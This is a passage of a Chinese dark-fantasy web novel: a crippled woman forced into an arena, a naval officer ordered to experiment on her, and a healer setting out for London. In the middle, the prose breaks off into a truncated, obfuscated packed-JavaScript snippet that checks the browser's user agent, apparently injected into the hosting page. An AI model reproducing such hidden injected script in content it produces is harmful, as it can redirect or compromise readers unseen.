他转身走向舷窗，背对所有人。 木兰被拖出去时，最后回头看了一眼。 切斯特顿站在窗前，浅金色头发被海风吹起。他背影挺拔如剑，但手指紧紧攥着窗框，像要把金属捏碎。 她记住了切斯特顿的脸。 花木兰死在了玉簪碎裂的那一刻。 活下来的，是林。 一个只剩下恨与生存本能的野兽。 --- 他停下笔。 重要头目？那个残废的东方人？ 不。战报需要更体面的说法。 他划掉那行，重写：“……全歼维京海盗核心成员，缴获重要情报及货品若干。” 然后他推开战报，从抽屉深处取出一个小瓶。深褐色玻璃，无标签。打开，刺鼻气味传来，是鸦片酊。 他倒少许入杯，加威士忌，仰头饮尽。 液体灼烧喉咙，然后暖意扩散，钝化身体深处的闷痛。 他解开制服外套，手指摸索着胸口，深吸一口气——空气涌入肺时，肋骨传来熟悉的刺痛。 那是十二年的旧伤。铁箍般的压力在骨头上刻下印记，阴雨天会痛，久坐会痛，像有细针在肋间游走。 他看着镜中的自己。 英俊，锋利，阿瑟·切斯特顿中校。 无人知道威士忌里的鸦片。 他重新穿好制服，整理绶带。 镜中人又是那个风度翩翩的年轻贵族，帝国海军的新星。 他看向舷窗外。夜色中的海面漆黑如墨，远处有零星灯火——那是朴茨茅斯港的方向。明天抵达后，会有庆功宴，会有授勋，会有女王赞许的目光。 一切完美。 除了那个该死的东方残废。 “权力在哪都一样脏。” 他冷笑。 说得对。 但胜者有权定义什么是干净。 23. 兽戮围场1 兽戮围场1 血腥味是黏的。 它混着锯末、汗馊、铁锈和一种更深的、类似动物内脏腐败的甜腥，在封闭的地下空间里发酵成有实质的厚重。空气湿冷，但吸进肺里像吞了带刺的棉絮。 林被铁链拖进围场侧门时，高热使眼前的世界模糊。右肩伤口在船上简单缝合过，但麻线粗糙，勒进腐肉，每一次链子扯动都让脓血从缝线间隙渗出，浸透破烂的亚麻囚衣。 肋骨断了三根，呼吸时必须控制得很浅，否则碎骨会戳进肺。 “十轮。”押送她的狱卒是个独眼壮汉，脸上有道从额头划到下巴的疤，说话时疤痕蠕动像蜈蚣，“切斯特顿准将特别交代，要他活满十轮。少一轮，管事拆我们的骨头。” “准将？”另一个年轻些的狱卒啐了一口，“昨天还是中校，今天就升了？北海那仗真他妈值钱。” “值钱？”独眼冷笑，“全歼维京海盗，外面是这么说的。维京海盗？”他用靴尖踢了踢林空荡的右肩，“就这？” “管事也是倒了霉。上哪儿找够弱又能撑十轮的货色？妈的，还得老子亲自押进来，摔死了算谁的？” 围场很大，青石砌成的下沉式圆形场地，直径约三十步，周围是逐渐升高的环形看台，此刻只有最底层的三四排亮着油灯——那是给码头工人、流浪汉、醉鬼准备的廉价座位。再往上，大片的黑暗沉默地蔓延，贵族包厢的帘子全都低垂着，像一排合上的棺材盖。 头顶不是天空，是悬挂着几十盏鲸油灯的拱顶，火光在烟雾中摇曳，投下晃动的、扭曲的影子。 “操，又是冷场时段。”年轻狱卒嘟囔，“你看台上那点人，加起来赌注够不够买瓶像样的酒？” 场中央地面是暗红色的沙地。是被血反复浸透、晒干、再浸透后沉淀出的黑红。有几处颜色特别深，形状不规则，像大地溃烂的疮口。 独眼壮汉推了林一把：“滚进去。第一轮给你安排了条哼哼的鱼。管事低价捡来的残次品，关了大半月没动弹过。你他妈要是连这都撑不过……” 他没说完，但眼神里的意思很明白：那就死在这，省得麻烦。 铁闸在身后哐当落下。 看台底层稀稀拉拉坐着不到三十人。大多是刚下工的苦力，衣服上还沾着永远洗不净焦油味。他们喝着最劣质的麦酒，把铜板拍在掉漆的木栏杆上，嚷嚷着下注。 但声音里没什么真正的兴奋，更像是在打发又一个无聊的夜晚。 “女士们，先生们” 管事的声音从高处传来，带着明显的敷衍。一个半透明的虚影漂浮在围场中央，穿着夸张的礼服，但身形闪烁不稳定，像是用最低功率维持的投影。 “欢迎来到兽戮围场。本轮——东方怪胎，对歌伶塞壬。无时间限制，无规则限制，直至一方死亡。” 他甚至没报赔率。虚影闪烁几下，彻底消散。 观众席响起零星的嘘声。 “又是塞壬？这玩意上个月就趴那不动弹！” “能不能整点新花样？老子是来看杀人的，不是看鱼睡觉！” “押塞壬！好歹是个怪物！” “押个屁！你看看那东方残废的样子。站都站不稳，塞壬翻个身都能压死他！” 林站直身体——身高175公分的瘦削身躯在昏光下拉出细长影子。短发贴在额前，脸上血污未净，独眼里那片薄翳后的世界模糊不清。 但她的眼神清晰如刀。 恨。 纯粹的、滚烫的、要将整个世界焚烧殆尽的恨。 围场另一端的铁闸缓缓升起。 有东西蜷在阴影最深处，几乎和黑暗融为一体。但灯光偶尔扫过时，能看见苍白的、几乎透明的皮肤，和那双纯黑的、没有眼白的眼睛。 人鱼。 蓟花号底舱那个被放走的生物，竟然出现在了这里。 它脖子上套着铁项圈，项圈很紧，勒进皮肉，留下深紫色的瘀痕。即使锁链被解开，它依然在角落一动不动，手臂抱着自己，长发披散遮住脸，只有那双纯黑的眼睛偶尔从发丝间隙露出来，看向沙地，看向观众，看向—— 看向林。 对视的刹那，那种熟悉的、感官被干扰的异样感再次袭来。听力变模糊，视线边缘开始扭曲，像隔着一层晃动的水。 林立刻移开目光。 不能看。看了会失去平衡。 “下注截止！”角落里有气无力的吆喝。 筹码向塞壬一边倒。不是相信它能赢，而是根本不相信林能活。几个喝多的工人把最后几枚铜板扔向围场，铜板落在沙地上，发出沉闷的响声。 塞壬动了。 它不是冲过来，是滑过来。身体几乎贴着沙面，手臂在身侧摆动，蹼膜张开像苍白的水母触须。动作极静，没有脚步声，只有沙粒被拖动的细微沙沙声。 十步。 五步。 林向左踏出半步——脚镣限制，步子很小。几乎同时，塞壬的右手从沙地上扬起，五指张开，蹼膜在火光下呈半透明，指尖锋利如鱼骨。 那手没有抓向林，而是虚空一握。 空气发出细微的、像玻璃裂开的嘶声。 林左眼那片薄翳后的世界骤然扭曲。沙地突然变成流动的黑色水面，火光变成水底摇晃的光斑，看台上的欢呼声变成沉闷的水流轰鸣。 幻觉。 但比幻觉更真实——她能感觉到冰冷的水压挤着胸腔，能尝到沧江水的腥涩，能看见自己下沉时从伤口渗出的血丝，像红色的水母在眼前缓缓飘散。 七箭穿身的痛，江水灌进肺的窒息，和黑暗。 不。 林猛地咬破舌尖。 疼痛炸开，血腥味在口腔弥漫。幻觉晃动了一瞬，像水波纹被石子打散。就这一瞬的清明，她看见塞壬已经逼近到三步之内，右手正抓向她喉咙。 没有时间思考。 她身体向后倒，不是直挺挺倒下，是借着脚镣的重量向左后方拧身。沙地粗糙，擦过后背早已破烂的囚衣，在皮肤上拉出火辣辣的刮痕。塞壬的手擦着她颈侧划过，指尖冰凉，留下三道浅白的印子。 倒地瞬间，林左腿向上蹬出，脚镣的铁链绷直，像鞭子抽向塞壬膝盖。 没有击中。 塞壬的身体以诡异的角度扭开，像没有骨头。它俯身，那张苍白的面孔几乎贴到木兰脸上。纯黑的眼睛盯着她，嘴唇张开，露出细密如针的牙齿。 然后它发出了声音。 不是语言，是一种低频的嗡鸣，像深海座头鲸的歌唱被压缩成尖针，直接扎进耳膜。林的听觉彻底消失了，世界变成绝对的寂静，只有颅骨内部回荡着那该死的嗡鸣，震得她牙齿发酸，眼球在眼眶里突跳。 看台上响出零星的起哄。 “要死掉了！要死掉了 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不仅是想活，她恨，恨自己无能。 没有武器，只有这具残破的身体，和脚上十五磅的生铁。 被当废物一样扔到这里变成玩物。 恨英吉利的谎言，恨肮脏的世界。 她猛地翻滚，不是远离塞壬，是滚向它身下。左手抓向塞壬。 塞壬察觉到危险，但它哪怕再以任何诡异角度去躲避。 都已经晚了。 林的左手如铁钳般扣住塞壬后颈，拇指精准按进颈侧鳃裂与脊椎的接缝处——那是她在蓟花号底舱观察时记住的、这个生物身上唯一类似要害的位置。 塞壬僵住了。 不是疼痛，是某种生理性的麻痹。它的鳃裂剧烈开合，纯黑的眼睛第一次浮现出清晰的恐惧，但那不是对死亡的恐惧，更像是对被触碰的惊恐。 林没有下杀手。 她凑到塞壬耳边，用嘶哑的声音吐出几个破碎的音节——不是英语，不是葡萄牙语，是她凭记忆模仿的、在蓟花号上听理查和通译交谈时记下的几个词： “自由……港……” 塞壬的瞳孔骤然收缩。 林心里一沉，松开手，向后跃开。 几乎同时，塞壬发出一声尖锐的、不像任何已知生物能发出的嘶鸣。声音高频刺耳，观众席上不少人捂住耳朵，痛苦的惨叫。 嘶鸣声中，围场穹顶的鲸油灯齐齐暗了一瞬。 当光线恢复时，塞壬已消失在铁闸后的黑暗里。 不是爬行离开，是像融入了阴影，凭空不见。 沙地上只留下那截完整的铁项圈，和一滩水迹。 死寂。 然后，管事虚影重新闪烁出现，声音里带着明显的错愕： “第……第一轮……东方怪胎……胜！” 没有欢呼。 看台上安静了两秒。 然后爆发出骂声。 “操！老子的钱！” “塞壬跑了？！这算什么？！” “哈哈哈哈，钱全都是老子的！老子的！”一个穿着烂□□的老工人红了眼，搂住桌上所有的铜板。 而在几分钟前，他赶在倒数时匆忙押了全身家当，发现押反了名牌，懊悔的用拳打着自己头。 24. 兽戮围场2 授勋仪式在海军部主厅举行。这是维多利亚女王陛下的特别安排——给予荣誉，但不张扬。大厅里悬挂着纳尔逊等历代海军将领的画像。与会者皆是军方高层、东印度公司董事以及少数核心议员，没有记者，没有无关贵族。 阿瑟·切斯特顿站在队列最前方。 深蓝色准将礼服剪裁完美，金色绶带垂在胸前，肩章上的新徽记熠熠生辉。浅金色头发一丝不苟地束在脑后，露出一张年轻英俊、线条冷硬的脸。冰灰色的眼睛平视前方，虹膜在明亮的灯光下近乎透明。 海军大臣格雷夫斯上将的声音洪亮而富有仪式感，宣读着嘉奖令中关于“北海英勇行动”、“果决指挥”与“对王国海权的坚定捍卫”等词句。阿瑟·切斯特顿上前一步，接过那卷系着红色缎带的委任状，微微欠身，动作流畅而克制。掌声适时响起，节制，体面，符合这里的氛围。 几位老将交换眼神——这个年轻人升得太快了，但北海那一仗确实漂亮，“全歼维京海盗”的战报无可挑剔。 仪式简洁务实，二十分钟后便告结束。 一位侍从官悄无声息地走近，压低声音：“准将，请随我来。有位大人要见您。” 阿瑟颔首，跟随侍从穿过侧廊，登上狭窄的螺旋石梯。他们来到顶层一扇不起眼的橡木门前。侍从在门框某处按了一下，墙面滑开，露出一条仅容一人通过的密道。 密道尽头是一间隐藏的书房。 房间不大，陈设古朴。壁炉里燃着炭火，墙上挂着大英帝国的海图。维多利亚女王坐在书桌后，穿着深紫色绸缎裙装，肩披黑纱，佩戴着简单的珍珠首饰。她看起来像一位寻常的贵族老夫人，但房间里弥漫着无声的威压。 “陛下。”阿瑟单膝跪地。 “起来吧，准将。”女王的声音平静，却带着不容置疑的重量，“北海的事办得很好。议会里那些聒噪的声音终于安静了。” “为陛下与帝国效劳，是臣的职责。” 女王从桌上拿起一份文件，推到他面前。“看看这个。” 阿瑟接过。文件抬头是《东印度公司远东异常事件汇总》，内容简洁： 一、 马六甲驻地报告：三名土著伐木工接触矿区深处发现的“荧光地衣”后，出现皮肤角质化、力量暴增症状，于七十二小时内陷入狂乱死亡。尸体解剖发现内脏有未知结晶残留。 二、孟买仓库事件：一批来自暹罗的“安神香料”在密封铅箱内自燃，火焰呈诡异靛蓝色，用水浇泼反而助长火势，最终用沙土掩埋方得扑灭。靠近的鼠类行为癫狂。 三、广州商馆密报：东土，大晟民间近年流传一改编甚广的“木兰传说”，内容已与官方史料严重不符，其中新增木兰将军能驭使无形天火等离奇情节，于底层民众中颇有市场。怀疑与某种未被记录的异常有关联。 “你怎么看？”女王问。 “以太逸散现象，陛下。”阿瑟回答得毫不犹豫，“自由港联邦的生物污染正在扩散。远东地区可能存在天然富集点，或是未被记录的变异物种。” 女王轻轻颔首，手指轻叩桌面。“议会那些先生们还在争论道德和传统，说是魔鬼的技艺。他们不明白，世界已经变了。如果我们不掌握这种力量，别人就会掌握——然后用它来对付我们。” 她抬起眼，目光锐利如刀： “兽戮围场，你要管好。明面上，它是娱乐场所，让商人和贵族发泄多余的精力。暗地里，它是皇家研究院最重要的实验场。我要你从那些变异生物、那些角斗士身上，找出以太的规律。如何提取，如何控制，如何转化为帝国的力量。” “是，陛下。” “特别是你带回来的那个东方俘虏。”女王强调，“初步报告我看过了。异常的自愈能力。这是个珍贵样本，准将。我要你测试他的极限——但别让他死了。活着的样本，比尸体更有价值。” “明白。” 女王从抽屉里取出一个钢制小盒，推过来。“这是皇家学会的最新进展。微量以太注入蒸汽机的实验数据。效率提升百分之三十，但副作用同样显著。” 阿瑟打开盒子。里面是几张照片：工厂车间，蒸汽机表面缠绕着诡异的蓝色光晕；旁边是几名工人的肖像照。他们手臂皮肤角质化，眼睛在暗处泛着不自然的微光。 “工人的变异无法逆转，目前”女王声音里只有冰冷的务实，“皇家学会建议短期雇佣贫民操作，事后处理。但这不是长久之计。我要的是可控的、可持续的力量。够武装我们的士兵，驱动我们的舰队” 她站起身，走到阿瑟面前，轻轻拍了拍他的肩膀。这个动作看似亲切，却让阿瑟心里一寒。 “你是最合适的人选，切斯特顿。年轻，有能力，没有那些迂腐的道德包袱。最重要的是。” 女王的嗓音压得更低： “你懂得，有时候必须弄脏手，才能握住干净的权杖。” 阿瑟垂下视线。“臣定不负陛下所托。” “去吧。授勋宴会在楼下，去露个面。然后，去做你该做的事。” --- 宴会厅里气氛已轻松许多。长桌上摆着冷餐、葡萄酒和威士忌。军官们三五成□□谈，东印度公司的董事们则聚在角落，低声讨论着什么。 阿瑟·切斯特顿准将端着一杯未碰过的香槟，从容地穿行于人群之间。 他与海军大臣讨论远东防务，引用数据精准，逻辑严密。与几位老将回忆北海气候对航行的影响，言辞谦逊而见解独到。甚至与两位议员夫人交谈时，也能恰到好处地称赞她们的服饰，引得对方掩唇轻笑。 他优雅，得体，游刃有余。没有人看出，半小时前他刚刚接受了女王最隐秘的委任。也没有人注意到，他礼服下的束胸正随着每一次呼吸，压迫着十二年前的旧 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-关键数据： 1. 实验体入场时右肩有未愈合感染穿透伤，深度约8厘米，肋骨断裂三根。 2. 战后3小时，伤口闭合速度超出常规医学认知约500% 3. 战斗期间体温峰值41.2℃，战后2小时内回落至正常 4. 塞壬近距离接触期间（＜0.5米），周围以太浓度检测仪记录到短暂峰值 初步结论：实验体对以太存在异常亲和性或抗性，自愈能力疑似与以太代谢相关 建议：第2轮安排物理性强力对手，测试基础体能极限；第3轮注入低剂量以太刺激剂（B型），观察生理反应 阿瑟合上文件夹。他想起北海的炮火，那个独臂的身影扑向红发维京人，被倒下的桅杆砸中。血雾在望远镜的视野里绽开，这样的情况还是活下来了。 “珍贵样本。” 女王的话在耳边回响。 他将文件夹递还副官。“按建议安排第2轮和第3轮。通知围场主管：从今天起，所有实验体数据的最终审批权移交给我。未经我签字，任何人不得调整测试方案。” “是，准将。” “还有，”阿瑟顿了顿，“关于实验体性别的修正，仅限少数核心人员知晓。对外仍称男性。” “明白。” 阿瑟转身走回宴会厅。灯火辉煌，将校云集，一切光鲜体面。 而他刚刚接过了这个帝国最黑暗的权柄之一。 肋骨处的疼痛又清晰了一分。他需要稍后处理。 他调整呼吸，整理袖口，脸上重新浮现那种得体而疏离的微笑，步入那片温暖的光明之中。 阴影被妥帖地留在身后。 25. 兽戮围场3 里斯本港，永远不会真正安静。远处“美人鱼”酒馆的喧哗隐约如潮汐涨落。但今夜，码头区西北角的木屋里，安静得只剩下鲸油灯芯燃烧的细微噼啪声。 希尔达·科斯塔坐在窗边的旧扶手椅里，已经三天了。 她穿着洗得发软的亚麻睡袍，红铜色长发松散地披着，几缕碎发粘在苍白的脸颊上。翡翠般的眼睛望着窗外，目光没有焦点，只是穿透黑暗，投入北海的方向。 三天前，一艘从朴茨茅斯返航的葡萄牙商船带来了北海之战的零星消息。水手们在酒馆里唾沫横飞地谈论，说英吉利海军在设得兰群岛北边“全歼了一伙维京海盗”，是恐怖传说的那一艘，船沉人亡，海面上漂的都是碎木头和尸体。连个能审问的活口都没捞着！ 丽塔当时正在擦杯子，听到“维京海盗”和“全歼”时，她小心翼翼地看向角落——希尔达正坐在老位置，替一个热那亚商人包扎手上的割伤。希尔达的动作停了一瞬，只有一瞬，然后继续缠绷带，打结，收钱，语气平静地嘱咐注意事项。直到商人离开，她收拾药箱，上楼，关上房门。 再没下来。 丽塔试过一切办法。她做了希尔达最爱吃的炖鱼，放在门口，冷了又热，热了又冷。她故意在楼下大声骂那些赖账的醉汉，摔盘子，指望女儿至少会探出头来说一句“妈妈小声点”。没用。 第四天傍晚，丽塔再也受不了了，端着一盘几乎没动的食物，用肩膀顶开房门。房间里草药和灰尘的味道很重，窗户关着，空气很旧。希尔达还是坐在椅子里，姿势和三天前几乎一样，只是更瘦了些。肩膀在宽大的睡袍下显出脆弱的轮廓。 丽塔把盘子重重放在小桌上， “吃。”她说，声音硬邦邦的。 希尔达没动。 丽塔走到窗边，猛地推开窗户。夜晚潮湿的风涌进来，吹动了希尔达的头发，港口的喧嚣瞬间放大。 “听见了吗？”丽塔指着窗外，“日子还在过。码头每天都有船出去，每天都有船回来。有人发财，有人死在海里。水手就是这样，今天还在你面前吹牛，明天可能就喂了鱼。生死由天，你消沉给谁看？” 希尔达终于有了反应。她微微偏过头，目光落在母亲脸上。丽塔·科斯塔，四十多岁，身材像橡木酒桶一样结实，棕红色的头发胡乱挽成髻，脸上每道皱纹都刻着风浪。此刻，那双和希尔达一样的翡翠色眼睛里，只有疲惫和担忧。 “我的好女儿，”丽塔的声音低下去“你这样子，我疼在心里啊。” 她蹲下来——这个动作对她粗壮的身材来说有些吃力。握住希尔达冰凉的手，用力搓了搓。 “妈妈只希望你开心。真的。你去做点事情，什么都行，转移一下注意力。你想学新的草药？想买那些贵得要死的玻璃器皿？想去别的城市看看？你说，妈妈都支持。钱不够，我把酒馆卖了也成” 房间里安静了很久。 然后，希尔达开口了。声音嘶哑，干涩 “我要去伦敦。” --- 丽塔愣住了。 她脸上的担忧瞬间冻结，然后碎裂，被惊愕、愤怒和恐慌取代。她猛地站起来，带倒了小凳子。 “伦敦？！你疯了？！为了那个红毛小子？埃里克？希尔达，英吉利海军不是维京人的长船！他们有火炮！全歼！你听见了吗？无一生还！埃里克他活不下来！没有人能从那种战场上活下来！” 她喘着气，胸脯剧烈起伏。 “爱情？爱情能当饭吃？能挡炮弹？我年轻的时候也信过这种鬼话！结果呢？你那个爹，说得比唱得好听，什么“等我回来就娶你”——然后呢？他一走了之，再没消息！每个港口都有债，你现在要走他的老路？为了一个死人，跑去英吉利？那里的人看不起我们这种混血，看不起码头出来的女孩！你会被欺负，会被骗……” “妈妈。” 希尔达打断了她。 丽塔停住了，瞪着女儿。 希尔达慢慢转过头，看向窗外。港口的灯火在瞳孔里投下细碎的光点。她的目光似乎穿过了里斯本的夜晚，穿过了英吉利海峡，投向了某个更遥远、更抽象的地方。 “我知道他活下来的可能性几乎没有。”语气像是在陈述一个早已接受的事实，“但是，妈妈，我不是为了埃里克去伦敦。” 丽塔皱起眉，显然没听懂。 希尔达的指尖摩挲着睡袍粗糙的布料。她的思绪飘回两周前，埃里克站在窗外告别的夜晚。红头发在暮色中像一团即将熄灭的火焰，像定下了誓约： “你要是想走老师的路，想去看更多的地方，想学更多的东西，我们可以去英吉利住一段时间。” 然后是她的老师韩吉。那个总是穿着朴素的长袍，身上带着矿石和草药特气味的女人。她说： “永远不要放弃好奇心，永远不要停止探索。希尔达，这个世界比你想象的大得多。” 最后是林，那个独眼断臂的东方女人。她左肩上狰狞的伤口刚刚缝合，声音因为失血而低哑： “它……不是鱼，也不是人。皮肤是透明的，能看到蓝色的血管。眼睛全是黑的，没有眼白。看着它的时候，你会头晕，会耳鸣。” 三件事。三个碎片。在此刻碰撞。原来她，早早就有了自己没察觉得到的野心。 还有饥饿。 对知识、对真相、对理解这个光怪陆离世界的、无法被酒馆麦酒和码头喧嚣填满的饥饿。 “老师说过，伦敦有全欧洲最好的学院。”希尔达转过头，看着母亲，眼神清澈而坚定，“英吉利是现在最先进的地方。他们有能看见星辰表面的镜片，有解释万物运动规律的数学，有研究以太——那种看不见却真实存在的力量的学者。” 她深吸一口气： “我想知道，妈妈。我想知道人是什么，生命是什么。为什么会有林描述的那种生物存在？为什么世界会是这样？” 她握住丽塔粗糙的手： “我想去看老师描述的世界。不是作为酒馆老板娘的女儿，是作为一个想弄明白这一切的人。” --- 丽塔怔怔地看着女儿。 她听不懂“以太”，听不懂“数学”，甚至不太明白“学院”具体是干什么的。她一辈子在码头，认得的字勉强够记账。但她看得懂希尔达此刻的眼神——那种光，她只在一个人脸上见过。 韩吉。 那个突然出现、又突然消失的女人。 丽塔沉默了。她慢慢抽回手，走到墙边的旧木柜前，蹲下，费力地从最底层拖出一个用油布包裹的扁木盒。盒子很旧，挂锁已经锈蚀。她没用钥匙，直接用手拧断了锁扣。 打开盒子，里面有几件零碎：一枚刻着维京符文的骨片，一小束用红线扎着的婴儿头发，还有两封信。 信纸质地很好，边缘有鎏金纹样，但已经泛黄。一封封口盖着红色火漆，印徽是打开的书本与交叉的望远镜；另一封没有火漆，只是简单对折。 丽塔拿起那封没有火漆的信，手指摩挲着纸面。良久，才用干涩的声音说： “韩吉老师……不是厌倦了里斯本才走的。” 希尔达的身体僵住了。 “自由港出了事。”丽塔叹气，“很大的事。韩吉说，如果处理不好，可能会让所有人都死掉。” 她目光复杂：“她是去救火的。像那些冲进着火房子里的人。她知道自己可能回不来。” 希尔达想起老师最后几次见面时，眼底下难以掩饰的疲惫。 丽塔把信递过来：“她走之前，留下了这两封信。一封是给皇家自然哲学学院的推荐信。另一封是给你的，那已经是一年多前的事了。” 希尔达接过给自己的信。手指触到纸面。 丽塔别过脸去，声音哽咽： “我……我拆了你的信。” 希尔达愕然。。 “我认识的字不多。”丽塔继续说，“我找了码头那个老文书，他快死了，嘴严。我让他念给我听。信很长，很多词我听不懂。什么裂变、临界、生物电池……但大概意思，我明白了。” 她转过身，眼睛里蓄满了泪水： “韩吉说，你有天赋。她说，这个世界需要你这样的人。她说，你可能会做出改变历史的事。但也可能，会卷入政治，卷入阴谋，甚至可能死得不明不白。” 泪水滚落： “我当时怕了，希尔达。我真的怕了。我没文化，不懂那些大道理。我只知道，你是我女儿。我只想让你平安，让你开心，让你在里斯本嫁个老实人，开间小店，平平凡凡过完一辈子。” 她抬手抹了把脸： “所以我把信藏起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但记住，永远不要让国家的野心吞噬你对生命的敬畏。” “……最后：我在地下三层的第七号样本库，留下了我的全部笔记和一枚自由港的残骸碎片。密码是你学会配制的第一种止血药剂的原料顺序。” 信不长，但每一个字都像铅块砸进希尔达心里。以太武器。天平。制衡。钥匙。 她的手在微微颤抖。责任，以及突然压上肩头的、关乎无数生命的重量。 丽塔看着她苍白的脸色，粗声说：“现在你知道我为什么藏起它了。” 希尔达抬起头，翡翠色的眼睛里有什么东西沉淀下来，变得坚硬而清晰。 “正因如此，我必须去。”她说。 丽塔看着她，看了很久。然后，这个女人别过头去，用近乎别扭的语气说： “埃里克那小子壮得像座山。维京人没那么容易死。要是他真没死，从哪个海岛爬回来了。” 她顿了顿，声音低下去： “那蓝宝石成色还不错。他能弄到那种东西，也算有点本事。我、我也不反对你和他结婚了。” 希尔达愣住了。 随即，眼眶发热。她知道，这是母亲能给出的、最笨拙也最真挚的祝福。 “妈妈”她哽咽了。 “行了！”丽塔粗声打断，挥手，“收拾东西去！伦敦那么远，船票不便宜。我去楼下看看还有多少现钱！” 她转身大步走向门口，背影依旧结实。但在推门出去的瞬间，希尔达看见母亲抬起手，飞快地抹了下眼角。 房间里安静下来。希尔达重新低头，将韩吉的信仔细折好，贴身收起。然后拿起那封推荐信，火漆上的印徽在灯光下微微反光。 然后，她转身开始收拾行囊。 动作很快，几件换洗衣物，药箱，埃里克给她的银币，还有那两封信。 当她扣上行李搭扣时，楼下传来丽塔粗哑的嗓音，正在催几个赖账的醉鬼结账——“快点！老娘急着用钱！” 希尔达的嘴角极轻微地弯了一下。 月光洒进窗户，照在她专注的眼睛里，远方伦敦的铅灰色天空，和天空下她将踏入的充满秘密与危险的学院。 里斯本的这一夜，很安静。暗流涌动。 26. 兽戮围场4 凌晨四点的伦敦东区，雾气和煤尘混在一起，在低空凝聚成灰扑扑的霾，沉沉压在屋顶和街道上。 约翰拖着脚步走出煤矿竖井时，工装裤的裤脚已经被冻成硬邦邦的筒，每走一步，上面混着煤渣的冰屑就簌簌掉落一路。他今年三十七岁，但背最近有点驼，是弓着身子在低矮矿道里爬行的结果。手掌上全是厚茧和裂口，指甲缝里嵌着永远洗不净的黑。眼神也蒙上了一层洗不净的煤灰般的疲惫。 冬天一到，北海航线基本停了。他这种只能在近海货船上混口饭的水手，没别的去处，只能回到英格兰本土，找最苦最脏的活——下矿。工作很好找，工头很满意他的强壮。 每天十六个小时，在黑暗、潮湿、随时可能塌方的地底，用镐子一寸寸刨煤。工钱按挖出的煤量算，刨去工具租金、矿灯油钱、还有矿主代为保管的食宿费，到手勉强够买最硬的黑面包和最稀的豌豆汤。 饿不死，但也活不好。肺里积着煤尘，咳嗽时能咳出黑痰。 更糟的是，赌瘾戒不掉。 约翰知道这毛病。在海上时就这样，谁也说不好一定不会遇到海盗，水手们今天还在想还有几天上岸，明天可能就喂了鱼。久了，人就不会期待未来。既然没有明天，那干脆现在就爽。赌钱、喝酒、找女人，都是为了让麻木的神经稍微跳一下，感觉自己还活着。 回到伦敦后，这毛病更重了。矿上的日子太漫长，黑暗太压抑，需要一点刺激，哪怕是用最后几个铜板去赌一把骰子的大小。 然后他就欠了债。 先是找工友借，借到没人再理他。后来去了码头区的黑山羊酒馆，那里有人放贷。利息高得吓人，但放贷的人拍着他的肩膀说：“老兄，慢慢还，不急。” 约翰拿了钱，去赌，输光。再借，再输。 直到上个月，三个壮汉把他堵在巷子里，用包了铅皮的棍子一下子把他锤跪在地上。领头那个秃头男人吐了口唾沫：“下周，连本带利，二十镑。拿不出来，你知道后果。” 约翰知道还不起债的后果。妻子被拖走，女儿被卖去窑子，房子被一把火烧掉。 他有过妻子。很多年前，在朴茨茅斯。一个洗衣女工，笑起来右脸颊有个小酒窝。后来他赌钱还不上，跑船去了，既是避风头，也是赚点钱。回来找不着消失的妻子，打听了很久，终于有个老太说，她几周前被人绑走，她哭得很大声，不停喊着约翰。 他沉默的走了，喝得大醉，把家里能砸的都砸了。 “不想了。”约翰低声嘟囔，把破棉袄又裹紧了些。 他需要钱。二十镑，对现在的他来说是个天文数字。矿上一个月最多能挣三镑，还得不吃不喝。 所以他今晚来了兽戮围场。 不是来赌——他身上一个铜板都没有了。是来找机会。放贷的人暗示过，围场有时会需要临时演员，假装被打败，输给那些新来的角斗士，让赌客们高兴。一场能给五先令，如果演得惨，还能加钱。 约翰不在乎丢人。活下去比较重要。 --- 沿着陡峭的石阶往下走，空气越来越浑浊，混杂类似动物内脏腐败的甜腥味。围场看台上稀稀拉拉坐着几十个人，大多是刚下工的矿工、码头搬运工、还有几个眼神空洞的流浪汉。都是底层，来这里用最廉价的方式刺激自己麻木的神经。 深夜冷场时段，通常都是些残次品——缺胳膊少腿的、病怏怏的、或者精神已经不太正常的。被随机扔到台上，胡乱打斗一番，流点血，惨叫几声。够工人们消遣一晚，不然明天在雾霾和煤尘里，连点能回味的东西都没有。 约翰找了个角落的位置坐下。椅子是粗糙的长条木凳，表面被无数个屁股磨得油亮。他搓了搓冻僵的手，看向场地中央。 铁闸门开了。 先是约翰这一侧。锁链拖曳的刺耳声响中，一个狱卒骂骂咧咧地踹着一个蜷缩成一团的人影进场。“滚进去！废物！” 人影被踹得滚了几圈，像个破麻袋，一动不动。 瘦削的身影蜷缩着，穿着破烂的囚衣，右臂袖子空荡荡地垂着。黑头发，脸上沾满污垢和干涸的血迹。肩膀微微颤抖，看起来脆弱不堪。但轮廓…… 但约翰的心脏猛地一缩。 里斯本那个独眼疯子。 他以为自己看错了。但那空荡的右袖。那种即使蜷缩也无法完全隐藏的，属于猎食者的危险气场。 林。那个在里斯本巷子里几秒钟就割开一个混混喉咙、又重伤两个的东方疯子。也是那个在牌桌上冷静地揭穿他出千，然后被他揍了一顿却一声不吭的怪人。 他怎么会在伦敦？怎么会被抓到这里？ 疑问还没理清，另一侧的铁闸也开了。 一个男人走出来。 身高近两米，赤裸的上身隆起岩石般结实的大块肌肉。肩背宽厚得像门板，胸膛硬挺，每一次呼吸都带着不耐烦的戾气。头颅剃得精光，只在鬓角留着一圈粗硬的青茬。下身是磨得发亮的皮质战裙，手臂上套着厚重的铁制护臂，上面坑坑洼洼全是撞击的痕迹。他双手戴着露指皮手套，指关节处嵌着铁环。 他往场中央一站，像一尊移动的山。粗重的呼吸在寂静的围场里清晰可闻。 “爆裂重拳。”旁边一个老矿工低声说，声音里带着敬畏，“上个月来的，打过四场，全赢。据说一拳能打碎牛的头骨。苏格兰地下拳场的传奇，打死了人才逃到伦敦。” 管事虚影在半空凝聚，穿着夸张的礼服，刚张开嘴准备宣布—— 蜷缩在沙地上的林动了。 前一秒还像濒死的虫子般瘫着，下一秒，像被压缩到极致的弹簧突然释放，整个人贴着沙地射出，速度快得只剩一道模糊的影子。 爆裂重拳显然没料到对手会在宣布开始前进攻，按照惯例，管事会宣布开始，双方会先对峙几秒。但林根本没有等。 林已经扑到他身前，左臂环过对方脖颈，身体借势跃起，双腿缠上重拳手的腰，全身重量狠狠下压。 